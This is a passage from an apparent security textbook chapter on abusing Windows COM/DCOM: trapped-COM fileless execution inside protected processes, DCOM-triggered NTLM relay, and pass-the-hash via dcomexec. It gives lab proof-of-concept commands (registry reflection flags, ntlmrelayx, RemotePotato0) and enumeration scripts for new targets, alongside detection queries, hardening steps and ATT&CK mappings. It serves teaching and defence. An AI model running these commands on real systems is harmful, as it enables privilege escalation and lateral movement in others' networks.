|
||
---
|
||
|
||
## 6. Trapped COM Objects: Fileless Execution Inside PPL
|
||
|
||
### Trapped COM objects (IDispatch-driven .NET reflection inside the server process)
|
||
|
||
**MITRE:** [T1559.001](https://attack.mitre.org/techniques/T1559/001/) + [T1055](https://attack.mitre.org/techniques/T1055/) (in-PPL execution) · **Since:** January 2025, James Forshaw, Project Zero ([26]) · **Affects:** Windows 10/11 — the WaaSMedicSvc PPL variant fails on updated Windows 11 (CLR cannot load into that PPL); the bug class remains open ([29])
|
||
|
||
> **Beginner note:** A **trapped COM object** is a marshal-by-reference object that lives server-side: the client holds only a proxy, and every method call executes in the server's process and security context. Forshaw's insight is that a trapped object is not just a call proxy — through `IDispatch::GetTypeInfo` the client can browse the *server's* type libraries and coax the server into activating new objects in its own context. The defense-evasion angle: everything after activation is registry edits, RPC calls, and .NET reflection — **no file, no script, no injection API**.
|
||
|
||
The bug class was published as "Windows Bug Class: Accessing Trapped COM Objects with IDispatch" (googleprojectzero.blogspot.com, January 2025 by URL; commonly reported February 2025) ([26]). Microsoft's position: not a security-boundary violation (admin→PPL is not a defended boundary) → **a detection problem, no CVE as of writing**.
|
||
|
||
#### Mechanics ([26])
|
||
|
||
1. Client activates an out-of-process COM server; the returned marshal-by-reference object is **trapped** server-side — calls execute in the server.
|
||
2. Via `IDispatch::GetTypeInfo` → `ITypeLib`, enumerate the typelibs the *server* references — including stdole (`{00020430-0000-0000-C000-000000000046}`, stdole2.tlb). Request a new `StdFont` object (`{0BE35203-8F91-11CE-9DE3-00AA004BB851}`) through the trapped object — it is resolved **in the server process context**: another trapped object.
|
||
3. **Redirect StdFont to .NET:** hijack the StdFont COM registration (HKCU locally; remote registry remotely — the CLSID-redirection primitive catalogued under T1546.015) so activation yields a `.NET System.Object` CCW. Set `AllowDCOMReflection=1` and `OnlyUseLatestCLR=1` under `Software\Microsoft\.NETFramework` to make .NET reflection usable over DCOM.
|
||
4. **Reflection chain:** `GetType()` → `Assembly` → `Assembly.Load(byte[])` → arbitrary managed code *inside the server-side DCOM process* — fileless; `mscoree`/`clr`/`clrjit` are Microsoft-signed, so the loaded runtime is PPL image-signature compatible.
|
||
5. **Demo target:** the `WaaSRemediationAgent` COM class hosted by WaaSMedicSvc (Windows Update Medic Service) — a PPL (`PsProtectedSignerWindows-Light`) svchost running as SYSTEM → code execution inside PPL as SYSTEM. (The class's CLSID is not public; refer to it by class name.)
|
||
|
||
#### Operationalizations
|
||
|
||
- **IBM X-Force — ForsHops (Tran & Bayne, March 2025)** ([27],[28]): "Fileless lateral movement with trapped COM objects." Remote chain: (1) remotely set `AllowDCOMReflection`/`OnlyUseLatestCLR`; (2) remotely hijack StdFont → System.Object; (3) create WaaSRemediationAgent over DCOM; (4) resolve the trapped StdFont→System.Object inside the remote WaaSMedicSvc PPL; (5) `Assembly.Load` → SYSTEM inside a protected, signed process, **zero files** — the only disk artifacts are registry values.
|
||
- **Outflank (Kyle Avery, July 2025)** ([29]): the WaaSMedicSvc/PPL approach fails on updated Windows 11 because the CLR can't load into that PPL — a *target-specific* failure, not a *class-specific* one; LLM-assisted registry enumeration found alternative trapped-COM classes that still work.
|
||
- **T3nb3w ComDotNetExploit:** a local PPL-injection PoC variant of the same chain.
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Local: admin-tier for the PPL target path (admin→PPL is the accepted precondition). Remote (ForsHops): rights to write the target's registry and activate DCOM objects |
|
||
| OS/build | Windows 10/11; WaaSMedicSvc variant broken on updated Win11 — enumerate alternative classes ([29]) |
|
||
| Config | StdFont registration hijack; `AllowDCOMReflection=1`, `OnlyUseLatestCLR=1` under `Software\Microsoft\.NETFramework` |
|
||
| Evasion posture | Fileless; no AMSI surface (no script content); only registry + RPC + reflection telemetry |
|
||
|
||
#### Proof of concept
|
||
|
||
The registry precondition (local form; the remote form writes the same values over remote registry) *(illustrative — verify in lab)*:
|
||
|
||
```powershell
|
||
# 1. Enable .NET reflection over DCOM:
|
||
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework" /v AllowDCOMReflection /t REG_DWORD /d 1 /f
|
||
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework" /v OnlyUseLatestCLR /t REG_DWORD /d 1 /f
|
||
# 2. Hijack StdFont ({0BE35203-8F91-11CE-9DE3-00AA004BB851}) registration in HKCU
|
||
# so its activation yields a .NET System.Object CCW.
|
||
# 3. Activate the trapped target (e.g., WaaSRemediationAgent in WaaSMedicSvc),
|
||
# walk IDispatch -> GetTypeInfo -> ITypeLib, request StdFont, then:
|
||
# GetType() -> Assembly -> Assembly.Load(byte[]) # runs inside the server/PPL
|
||
```
|
||
|
||
#### OpSec & detection
|
||
|
||
- **High-fidelity registry artifacts (Sysmon EID 12/13/14):** `AllowDCOMReflection` / `OnlyUseLatestCLR` set to 1 under `(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework\` — near-signature for this class; plus the StdFont CLSID redirection under `HKCU\Software\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851}` (see the KQL queries in section 8).
|
||
- **Image loads (Sysmon EID 7):** `clr.dll`/`clrjit.dll`/`mscoree.dll` appearing in `svchost.exe`/`dllhost.exe` that host DCOM services.
|
||
- **No AMSI, no EID 8:** native stages leave content scanners and CreateRemoteThread analytics blind — Microsoft explicitly framed the class as a *detection problem* ([26]).
|
||
|
||
#### Mitigations
|
||
|
||
- Alert on the `.NETFramework` reflection values and any HKCU CLSID shadowing; both are policy-hostile in enterprise images.
|
||
- Restrict remote registry and DCOM activation rights; segment 135/dynamic RPC (section 8 hardening).
|
||
- Treat CLR loads inside DCOM-hosting svchost instances as an incident trigger.
|
||
|
||
---
|
||
|
||
## 7. DCOM and NTLM Relay Chains
|
||
|
||
### DCOM as an NTLM relay trigger (RemotePotato0 and RemoteMonologue)
|
||
|
||
**MITRE:** [T1557.001](https://attack.mitre.org/techniques/T1557/001/) (relay; potato lineage [T1134.001](https://attack.mitre.org/techniques/T1134/001/); RemoteMonologue also [T1021.003](https://attack.mitre.org/techniques/T1021/003/)) · **Since:** potato lineage from Forshaw's 2015 local NTLM reflection; RemotePotato0 — 2021, Cocomazzi & Pierini ([32]); RemoteMonologue — April 2025, Andrew Oliveau, IBM X-Force ([30],[31]) · **Affects:** chains below; RemotePotato0 needs an interactively logged-on privileged user on the victim
|
||
|
||
> **Beginner note:** **NTLM relay** is a man-in-the-middle attack on NTLM authentication: the attacker induces ("**coerces**") a victim to authenticate *to the attacker*, then forwards that authentication to a third service (LDAP, AD CS, SMB) as the victim. The three moves are: trigger an authentication, relay it somewhere useful, profit. COM's role in this chapter is strictly the **trigger**.
|
||
|
||

|
||
*How to read this figure: the COM objects and OXID resolution live on the left (the trigger), the relay plumbing in the middle, and the relay targets on the right. The annotations mark KB5004442's hardening and the DistributedCOM 10036-10038 events — note they sit on the activation path, not the relay path.*
|
||
|
||
#### Mechanics — RemotePotato0 ([32])
|
||
|
||
1. Lineage: Forshaw's local NTLM reflection (P0, April 2015, since fixed) — a marshaled `OBJREF_STANDARD` with attacker-chosen RPC binding strings made a DCOM client bind to a fake OXID resolver and perform NTLM authentication, reflected to a local DCOM activation for a SYSTEM token. That bug birthed the potato family (T1134.001).
|
||
2. The operator marshals an `IStorage` object (`CoGetInstanceFromIStorage`) and hands the OBJREF to a *remote* DCOM activator for a CLSID configured to run as **Interactive User** — default PoC `{5167B42F-C111-47A1-ACC4-8EABE61B0B54}`; BrowserBroker `{0002DF02-0000-0000-C000-000000000046}` also works.
|
||
3. The victim resolves the OXID against the **attacker's resolver** (port 135 redirect).
|
||
4. Authenticated `ResolveOxid2`/`IRemUnknown2` calls arrive at the attacker — carrying the NTLM authentication of the **interactively logged-on user** (prerequisite: a privileged user must be interactively logged on).
|
||
5. Relay the captured authentication RPC/TCP → HTTP wrapper → `ntlmrelayx` → LDAP / AD CS (ESC8) / SMB → domain admin.
|
||
|
||
#### Mechanics — RemoteMonologue ([30],[31])
|
||
|
||
1. With local admin: take `SeTakeOwnershipPrivilege` on `HKCR\AppID\{AppID}` and set `RunAs = "Interactive User"` on a chosen object.
|
||
2. Remotely instantiate the object and invoke a method/property that dereferences an attacker UNC path.
|
||
3. The server authenticates to the attacker as the logged-on user (or the machine account) — coerced NTLM, ready to relay.
|
||
4. Verified coercion-capable objects:
|
||
|
||
| Object | CLSID | Coercion vector |
|
||
|---|---|---|
|
||
| ServerDataCollectorSet | `{03837546-098B-11D8-9414-505054503030}` | `DataManager.Extract` UNC parameter |
|
||
| FileSystemImage | `{2C941FC5-975B-59BE-A960-9A2A262853A5}` | `WorkingDirectory` property |
|
||
| UpdateSession | `{4CB43D7F-7EEE-4906-8698-60DA1C38F2FE}` | `AddScanPackageService` |
|
||
| MSTSWebProxy | (ProgID/class per tool) | UNC dereference |
|
||
|
||
5. Extras: NetNTLMv1 downgrade when `LmCompatibilityLevel ≤ 2`, and WebClient abuse via `\\host@80\file` paths to coerce over HTTP instead of SMB.
|
||
|
||
#### OXID resolver abuse
|
||
|
||
`IOXIDResolver`/`IObjectExporter` (UUID `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`, port 135/epmap) is the service every potato/coercion abuses: OXID resolution is what redirects the victim's DCOM client to the attacker. It is also an unauthenticated recon source — `ServerAlive2` leaks the target's network interfaces (impacket's `oxidresolver`) ([35]).
|
||
|
||
#### Why you relay FROM DCOM, not TO DCOM
|
||
|
||
> **Key idea:** **"You relay FROM DCOM, not TO DCOM."** DCOM is a coercion *source*. As a relay *destination*, DCOM activation is closed.
|
||
|
||
- PetitPotam (MS-EFSR, CVE-2021-36942) and PrinterBug (MS-RPRN `RpcRemoteFindFirstPrinterChangeNotification(Ex)`) coerce machine-account authentication over SMB/named-pipe RPC — they are **not DCOM**. Their coerced authentication relays to LDAP(S)/AD CS, not to DCOM activation.
|
||
- DCOM as a relay target was closed by CVE-2021-26414 "DCOM Hardening" (KB5004442): activation now requires `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` or higher. Timeline: opt-in June 2021 → enabled by default June 2022 → mandatory March 2023, controlled by `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel` ([34]).
|
||
- New DistributedCOM events accompany the hardening: **10036** (server-side refusal of an activation below PKT_INTEGRITY — logs user/SID/client IP), **10037/10038** (client-side too-low authentication level).
|
||
- The RunAs=Interactive User bug class is a decade old: CVE-2017-0100 (MS17-012, March 2017, "Windows HelpPane EoP", CVSS 7.8, Win7-10/2008R2-2016) was a DCOM object in Helppane.exe configured `RunAs=Interactive User` that failed to validate clients → LPE. RemoteMonologue is the 2025 remote re-weaponization of the same class ([33],[30]).
|
||
|
||
#### Pass-the-hash with DCOM: yes
|
||
|
||
`dcomexec.py -hashes LMHASH:NTHASH user@target` works with the MMC20/ShellWindows/ShellBrowserWindow objects; CrackMapExec has `-dcom` ([35]). Requirements: NTLM allowed, remote Launch/Activation rights (default Administrators), and `LocalAccountTokenFilterPolicy=1` for local non-RID500 accounts. Compatible with KB5004442 because impacket speaks PKT_INTEGRITY. Maps to T1550.002 + T1021.003.
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | RemotePotato0: low-privilege operator position + privileged user interactively logged on at victim. RemoteMonologue: local admin (for the AppID takeover) |
|
||
| OS/build | Relay-to-DCOM closed on hardened builds (KB5004442 mandatory March 2023); relay *from* DCOM unaffected |
|
||
| Config | Attacker-controlled OXID resolver/135 redirect (potatoes); NTLM relay targets (LDAP/AD CS/SMB) without signing/EPA |
|
||
| Evasion posture | Registry writes (RemoteMonologue AppID `RunAs`), 135 redirect traffic, and relay-protocol indicators are the observable surface |
|
||
|
||
#### Proof of concept
|
||
|
||
Lab relay skeleton *(illustrative — verify flags in lab)*:
|
||
|
||
```powershell
|
||
# Attacker: relay listener awaiting the coerced authentication
|
||
ntlmrelayx.py -t ldaps://dc01.lab.local # or http://ca.lab.local/certsrv (ESC8) / smb://host
|
||
# Operator host: trigger the victim's DCOM client against the attacker's resolver
|
||
RemotePotato0.exe # default CLSID {5167B42F-C111-47A1-ACC4-8EABE61B0B54}
|
||
# RemoteMonologue (IBM PoC): set RunAs, then remotely invoke the UNC-dereferencing method
|
||
```
|
||
|
||
Pass-the-hash variant (from impacket, ([35])):
|
||
|
||
```bash
|
||
dcomexec.py -object MMC20 -hashes LMHASH:NTHASH user@target
|
||
```
|
||
|
||
#### OpSec & detection
|
||
|
||
- **DistributedCOM 10036** is the KB5004442 server-side refusal — it logs user/SID/client IP and fires both on attacks *and* on hardening misconfiguration; 10037/10038 are the client-side counterparts. 10016 (permission denied) indicates probing.
|
||
- **Registry (Sysmon 12/13/14):** `HKLM\SOFTWARE\Classes\AppID\{...}\RunAs` tampering (RemoteMonologue — KQL in section 8); `LmCompatibilityLevel` changes (NTLMv1 downgrade); `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (hardening tamper).
|
||
- **Network:** workstation→workstation 135 + dynamic ports; 135 redirects to attacker hosts; HTTP on port 80 from WebClient-style `\\host@80\file` coercion.
|
||
- **Auth telemetry:** Security 4624 Type 3 NTLM + 4672 on unexpected hosts; relay destinations see logons from the *victim's* context originating at the *attacker's* host.
|
||
|
||
#### Mitigations
|
||
|
||
- Enforce KB5004442 (`RequireIntegrityActivationAuthenticationLevel=1`; alert on `=0`), LDAP signing + channel binding, SMB signing, and AD CS EPA — these collectively break the relay destinations, which is what actually blunts coercion ([34]).
|
||
- Disable WebClient where not needed; turn NTLMv1 off (`LmCompatibilityLevel=5`).
|
||
- Inventory AppIDs with `RunAs = "Interactive User"` and alert on changes; block workstation↔workstation 135.
|
||
|
||
---
|
||
|
||
## 8. Detection Engineering
|
||
|
||
This section consolidates every telemetry source named in the chapter into deployable form. Structure: what an EDR sees during a DCOM activation → per-source indicator tables → named analytics → KQL hunting queries → hardening baseline.
|
||
|
||
### 8.1 What an EDR sees during a DCOM activation
|
||
|
||
1. Inbound TCP/135 → endpoint mapper → dynamic port; `RemoteCreateInstance` executes inside `svchost -k DcomLaunch`. **Gap:** raw RPC ETW does not carry the remote IP (the Zero Networks gap — see RPC Firewall below) ([37]).
|
||
2. Security 4624 Type 3 NTLM logon; 4672 if the account is privileged.
|
||
3. DcomLaunch spawns the server: `mmc.exe -Embedding`, `explorer.exe`, `dllhost.exe /Processid:{CLSID}`, `EXCEL.EXE /automation -Embedding` — **the lineage anchor**.
|
||
4. AppID/CLSID registry reads.
|
||
5. Outbound callbacks to the client.
|
||
|
||
### 8.2 Sysmon indicator table
|
||
|
||
| Event ID | What to alert on |
|
||
|---|---|
|
||
| 1 (process) | `regsvr32` with `/i:` + URL + `scrobj.dll`; `mmc.exe -Embedding` child of svchost (Sigma `f1f3bf22-deb2-418d-8cce-e1a45e46a5bd`); anomalous `dllhost.exe /Processid:`; explorer/EXCEL spawning cmd/powershell; wscript/cscript/mshta with `.sct`; PowerShell containing `GetTypeFromCLSID`/`GetTypeFromProgID`/`Activator]::CreateInstance`/`ExecuteShellCommand`/`ShellExecute`/`DDEInitiate` |
|
||
| 3 (network) | `regsvr32` outbound HTTP/S (near-zero FP); workstation→workstation TCP/135 + dynamic ports; mmc/excel/dllhost unexpected outbound |
|
||
| 7 (image load) | `scrobj.dll` in regsvr32; jscript/vbscript/scrrun in unusual hosts; `clr.dll`/`clrjit.dll`/`mscoree.dll` in dllhost/svchost/mmc/explorer (DotNetToJScript and trapped COM) |
|
||
| 8 (CreateRemoteThread) | **COM injection mostly does NOT trip EID 8** — teach as an evasion gap |
|
||
| 11 (file create) | `.sct` drops |
|
||
| 12/13/14 (registry) | Writes under `HKCU\Software\Classes\CLSID\{...}\(InprocServer32|LocalServer32|TreatAs|ProgID)` and `...\TypeLib\{...}`; `HKLM\SOFTWARE\Classes\AppID\{...}\RunAs` (RemoteMonologue); `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (hardening tamper); `(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework\` values `AllowDCOMReflection`, `OnlyUseLatestCLR` (trapped COM — high fidelity); `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel` (NTLMv1 downgrade) |
|
||
| 17/18 (pipes) | Named pipes around `mscorsvw.exe` (marshaling) |
|
||
| 22 (DNS) | regsvr32 DNS lookups for scriptlet hosts |
|
||
|
||
### 8.3 Windows event log table
|
||
|
||
| Source / ID | Relevance |
|
||
|---|---|
|
||
| Security 4688 | Mirror of Sysmon 1 |
|
||
| 4624 Type 3, 4625, 4648, 4672 | NTLM network logons and privilege use around DCOM/relay |
|
||
| 4657/4663 | Registry auditing with SACLs on `Classes\AppID`/`CLSID` |
|
||
| 5156/5158 (WFP) | Connection telemetry — noisy |
|
||
| 5712 (RPC filter) | **Unreliable** — do not build on it |
|
||
| DistributedCOM 10016 | Permission denied — probing |
|
||
| DistributedCOM 10036/10037/10038 | KB5004442 refusals (10036 logs user/SID/client IP) |
|
||
| DistributedCOM 10006/10009/10028 | DCOM error context |
|
||
| PowerShell 4104 | Script-block content (`ExecuteShellCommand`, `GetTypeFromCLSID` — Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block") ([45]) |
|
||
| AppLocker 8004 | Blocked execution (policy working) |
|
||
|
||
### 8.4 ETW providers (verified GUIDs; cross-checked against the public ETW GUID compilation ([40]))
|
||
|
||
| Provider | GUID | Use |
|
||
|---|---|---|
|
||
| Microsoft-Windows-RPC | `{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}` (Debug) | EID 5/6 RPC client/server call start: InterfaceUuid, OpNum, Protocol, Endpoint (SpecterOps "Utilizing RPC Telemetry") ([36]) |
|
||
| Microsoft-Windows-RPC-Events | `{F4AED7C7-A898-4627-B053-44A7CAA12FCD}` | RPC operational |
|
||
| Microsoft-Windows-RPCSS | `{D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C}` | RPCSS/DcomLaunch host |
|
||
| Microsoft-Windows-COMRuntime | `{BF406804-6AFA-46E7-8A48-6C357E1D6D61}` | COM activation/runtime (verbose) |
|
||
| Microsoft-Windows-COM-Perf | `{B8D6861B-D20F-4EEC-BBAE-87E0DD80602B}` | perf |
|
||
| Microsoft-Windows-COM-RundownInstrumentation | `{2957313D-FCAA-5D4A-2F69-32CE5F0AC44E}` | rundown |
|
||
| Microsoft-Windows-DotNETRuntime | `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | assembly loads/JIT in COM hosts |
|
||
| Microsoft-Windows-Threat-Intelligence | `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | injection behaviors (consumers must run PPL) |
|
||
|
||
### 8.5 DCOM interface UUIDs to key on
|
||
|
||
| Interface | UUID |
|
||
|---|---|
|
||
| IRemoteSCMActivator | `{4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}` |
|
||
| ISystemActivator | `{000001A0-0000-0000-C000-000000000046}` |
|
||
| IObjectExporter / IOXIDResolver | `{99FCFEC4-5260-101B-BBCB-00AA0021347A}` |
|
||
| IRemUnknown | `{00000131-0000-0000-C000-000000000046}` |
|
||
| IRemUnknown2 | `{00000143-0000-0000-C000-000000000046}` |
|
||
| IUnknown | `{00000000-0000-0000-C000-000000000046}` |
|
||
| (chain context) MS-EFSR | `{C681D488-D850-11D0-8C52-00C04FD90F7E}` |
|
||
| (chain context) MS-RPRN | `{AE33069B-A2A8-46EE-A235-DDFD339BE281}` / `{12345678-1234-ABCD-EF00-0123456789AB}` |
|
||
|
||
### 8.6 RPC Firewall: closing the remote-IP gap
|
||
|
||
Raw RPC ETW lacks the remote IP, so DCOM activation attribution is weak natively. Zero Networks' **RPC Firewall** closes the gap: per-call UUID/opnum/source-IP/principal in the RPCFW log (EID 3), with a Sigma rule "Remote DCOM/WMI Lateral Movement" (`68050b10-e477-4377-a99b-3721b422d6ef`) ([37],[38]). The native RPC filter event 5712 is unreliable; treat RPC Firewall (or equivalent RPC filters) as the deployable answer, and collect RPC ETW EID 5/6 on critical hosts ([36],[39]).
|
||
|
||
### 8.7 Named analytics to deploy
|
||
|
||
| Source | Asset |
|
||
|---|---|
|
||
| Sigma | `proc_creation_win_mmc_mmc20_lateral_movement.yml`; `proc_creation_win_regsvr32_squiblydoo.yml`; `rpc_firewall_remote_dcom_or_wmi.yml`; `registry_set_persistence_com_hijacking_builtin.yml` ([41],[42]) |
|
||
| MITRE CAR | CAR-2019-04-003 (Squiblydoo) ([44]) |
|
||
| Splunk | "Remote Process Instantiation via DCOM and PowerShell" (`d4f42098-4680-11ec-ad07-3e22fbd008af`); "...Script Block" (`fa1c3040-4680-11ec-a618-3e22fbd008af`); "Mmc LOLBAS Execution Process Spawn" (`f6601940-4c74-11ec-b9b7-3e22fbd008af`); "Possible Lateral Movement PowerShell Spawn" (`22282a2d-dc19-4b88-ac61-6c86ff92904f`) ([45]) |
|
||
| Elastic | Prebuilt "Incoming DCOM Lateral Movement with MMC"; blog "How to hunt: Detecting persistence and evasion with COM" ([46]) |
|
||
| Atomic Red Team | T1021.003 tests (validation) |
|
||
| Baselines | sysmon-modular and SwiftOnSecurity sysmon-config ([47],[48]) |
|
||
|
||
### 8.8 KQL hunting queries (Microsoft Defender)
|
||
|
||
```kusto
|
||
// DCOM lateral movement
|
||
DeviceProcessEvents
|
||
| where InitiatingProcessFileName =~ "svchost.exe"
|
||
| where InitiatingProcessCommandLine has "DcomLaunch"
|
||
| where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe")
|
||
|
||
// Squiblydoo
|
||
DeviceProcessEvents
|
||
| where FileName =~ "regsvr32.exe"
|
||
| where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp")
|
||
|
||
// COM hijack registry
|
||
DeviceRegistryEvents
|
||
| where RegistryKey has @"Software\Classes\CLSID\"
|
||
| where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\"
|
||
| where ActionType has "SetValue" or ActionType has "Create"
|
||
|
||
// Trapped COM artifacts
|
||
DeviceRegistryEvents
|
||
| where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework"
|
||
| where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1
|
||
|
||
// CLR in COM hosts
|
||
DeviceImageLoadEvents
|
||
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
|
||
| where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe")
|
||
|
||
// RunAs tampering (RemoteMonologue)
|
||
DeviceRegistryEvents
|
||
| where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs"
|
||
```
|
||
|
||
### 8.9 Adjacent hunting: elevated COM (UAC angle)
|
||
|
||
For completeness with the UAC chapter: hunt medium-IL parent → high-IL child without `consent.exe`; auto-elevated hosts (fodhelper, computerdefaults, sdclt, eventvwr, slui) with unusual children; writes to `HKCU\Software\Classes\ms-settings\Shell\Open\command` and `mscfile\shell\open\command`; CMSTPLUA `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` instantiation; `"Elevation:Administrator!new:"` strings in command lines.
|
||
|
||
### 8.10 Baseline and hardening checklist
|
||
|
||
1. Inventory legitimate DCOM (SCCM, backup, OPC, AV management) → deny the rest via `dcomcnfg` AppID Launch ACLs (MMC20 + Office CLSIDs first).
|
||
2. Segment 135 + dynamic RPC to management hosts; block workstation↔workstation 135.
|
||
3. Enforce KB5004442 (`RequireIntegrityActivationAuthenticationLevel=1`; alert on `=0`), LDAP signing + channel binding, SMB signing, AD CS EPA ([34]).
|
||
4. AppLocker/WDAC block `scrobj.dll` script execution; disable WebClient; Office ASR rules.
|
||
5. NTLMv1 off (`LmCompatibilityLevel=5`); LSA Protection.
|
||
6. RPC Firewall on servers/DCs; collect RPC ETW EID 5/6 on critical hosts; sysmon-modular + SwiftOnSecurity configs as Sysmon baselines ([48],[49]).
|
||
|
||
---
|
||
|
||
## 9. MITRE ATT&CK Mapping
|
||
|
||
Verified mapping for this chapter's content:
|
||
|
||
| ID | Name | COM content |
|
||
|---|---|---|
|
||
| T1559.001 | Inter-Process Communication: COM and DCOM | local execution objects, scriptlets, DotNetToJScript, trapped COM |
|
||
| T1021.003 | Remote Services: DCOM | MMC20/ShellWindows/ShellBrowserWindow/ExcelDDE remoting, dcomexec, ForsHops, RemoteMonologue |
|
||
| T1546.015 | Event Triggered Execution: COM Hijacking | CLSID/InprocServer32/LocalServer32/TreatAs; TypeLib + `script:` moniker variant (explicit in ATT&CK) |
|
||
| T1548.002 | Abuse Elevation Control Mechanism: Bypass UAC | elevated/auto-elevated COM (CMSTPLUA, elevation moniker) |
|
||
| T1218.010 | System Binary Proxy Execution: Regsvr32 | Squiblydoo |
|
||
| T1055 | Process Injection | PPL injection, IRundown::DoCallback, trapped-COM in-PPL |
|
||
| T1620 | Reflective Code Loading | `Assembly.Load(byte[])` via COM |
|
||
| T1112 | Modify Registry | CLSID/TypeLib/AppID/RunAs/.NETFramework writes |
|
||
| T1550.002 | Use Alternate Authentication Material: Pass the Hash | `dcomexec -hashes` |
|
||
| T1134.001 | Access Token Manipulation: Token Impersonation/Theft | potato lineage |
|
||
| T1557.001 | Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay | relay chains with DCOM trigger |
|
||
| T1003.001 | OS Credential Dumping: LSASS Memory | PPL bypass end-goal |
|
||
| T1059.005/.007 | Command and Scripting Interpreter: VB/JavaScript | scriptlet bodies |
|
||
| T1027 | Obfuscation | Base64 .NET blobs |
|
||
| T1047 | Windows Management Instrumentation | WMI runs over DCOM (SWbemLocator) |
|
||
| T1068 | Exploitation for Privilege Escalation | CVE-2017-0100, PPL chain components |
|
||
|
||
---
|
||
|
||
## Research Lab: New Execution & Evasion Primitives
|
||
|
||
### Hunting hypothesis
|
||
|
||
Three bug classes in this chapter are *proven open*, not exhausted:
|
||
|
||
1. **Type-library/proxy confusion.** Every out-of-process COM server whose proxies/stubs are generated from a type library (rather than a hand-written proxy DLL) and that runs more privileged than its caller is a candidate for HKCU typelib-shadow type confusion. Forshaw's 2018 PPL chain proved one instance ([20]); nobody has systematically burned the class down, and typelib shadowing doubles as T1546.015 persistence.
|
||
2. **Trapped-COM expansion.** Any marshal-by-reference OOP server whose referenced typelibs include stdole is a candidate for the StdFont→.NET reflection chain. Outflank's LLM-assisted registry enumeration already found alternative trapped-COM classes beyond WaaSRemediationAgent ([29]); Microsoft issued no CVE and no fix — the class is live.
|
||
3. **Coercion surfaces.** RunAs=Interactive User objects with methods/properties that dereference UNC paths (the RemoteMonologue pattern) are a decade-old class (CVE-2017-0100, 2017) that still produced a new primitive in 2025 ([33],[30]).
|
||
|
||
### Enumeration
|
||
|
||
Build the target list from the registry first, then enrich with OleViewDotNet:
|
||
|
||
```powershell
|
||
# 1. All out-of-process (LocalServer32) classes — the outer boundary for
|
||
# trapped-object and type-confusion targets
|
||
Get-ChildItem HKLM:\SOFTWARE\Classes\CLSID | ForEach-Object {
|
||
if (Test-Path "$($_.PSPath)\LocalServer32") { $_.PSChildName }
|
||
}
|
||
|
||
# 2. AppIDs with a RunAs value — coercion candidates (RemoteMonologue pattern)
|
||
Get-ChildItem HKLM:\SOFTWARE\Classes\AppID | ForEach-Object {
|
||
$ra = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).RunAs
|
||
if ($ra) { "{0} RunAs={1}" -f $_.PSChildName, $ra }
|
||
}
|
||
|
||
# 3. Interfaces marshaled from a type library (ProxyStub + TypeLib subkeys) —
|
||
# these are shadowable from HKCU, i.e. type-confusion candidates
|
||
Get-ChildItem HKLM:\SOFTWARE\Classes\Interface | ForEach-Object {
|
||
if ((Test-Path "$($_.PSPath)\ProxyStubClsid32") -and (Test-Path "$($_.PSPath)\TypeLib")) {
|
||
$_.PSChildName
|
||
}
|
||
}
|
||
```
|
||
|
||
Then in OleViewDotNet: load the COM database, filter classes by server type (LocalServer32), check which implement `IDispatch`, export their type libraries for diffing, and use the process viewer to confirm which classes a running privileged server actually hosts.
|
||
|
||
### Triage heuristics
|
||
|
||
A target is promising if:
|
||
|
||
- It runs out-of-process in a context more privileged than yours: a SYSTEM service, a PPL (check the signer, e.g. `PsProtectedSignerWindows-Light`), or another user's session.
|
||
- Its interfaces carry a `TypeLib` subkey in HKLM — meaning the proxy/stub comes from a typelib you can shadow in HKCU.
|
||
- It exposes `IDispatch`: `GetTypeInfo` → `ITypeLib` then tells you whether the server references stdole (`{00020430-0000-0000-C000-000000000046}`) — the StdFont trapped-object path.
|
||
- Its AppID has `RunAs = "Interactive User"` (coercion), or any method/property takes a string that becomes a path, UNC, or URL (`DataManager.Extract`, `WorkingDirectory`, `AddScanPackageService` are the templates).
|
||
- The host process is worth landing in: CLR DLLs are Microsoft-signed, so a reflection payload is image-signature-compatible with PPL targets.
|
||
|
||
### Analysis workflow
|
||
|
||
Static checklist:
|
||
|
||
1. Enumerate the class registration: CLSID, AppID (`RunAs`, `LaunchPermission`), server binary, code-signing level.
|
||
2. Export the typelib and diff every method's parameter directions and pointer levels; flag `[out] T*` parameters — flipping one to `[in] T` in a shadow typelib is exactly the 2018 primitive ([20]).
|
||
3. Confirm `IDispatch` support and enumerate referenced typelibs (stdole → StdFont path).
|
||
4. Map methods to dangerous sinks: process creation, file writes, UNC fetches, reflection entry points.
|
||
|
||
Dynamic harness sketch *(illustrative)*:
|
||
|
||
```powershell
|
||
# Activate the candidate OOP, then probe the trapped object's type information.
|
||
# GetTypeInfo/ITypeLib must be reached through IDispatch — use OleViewDotNet's
|
||
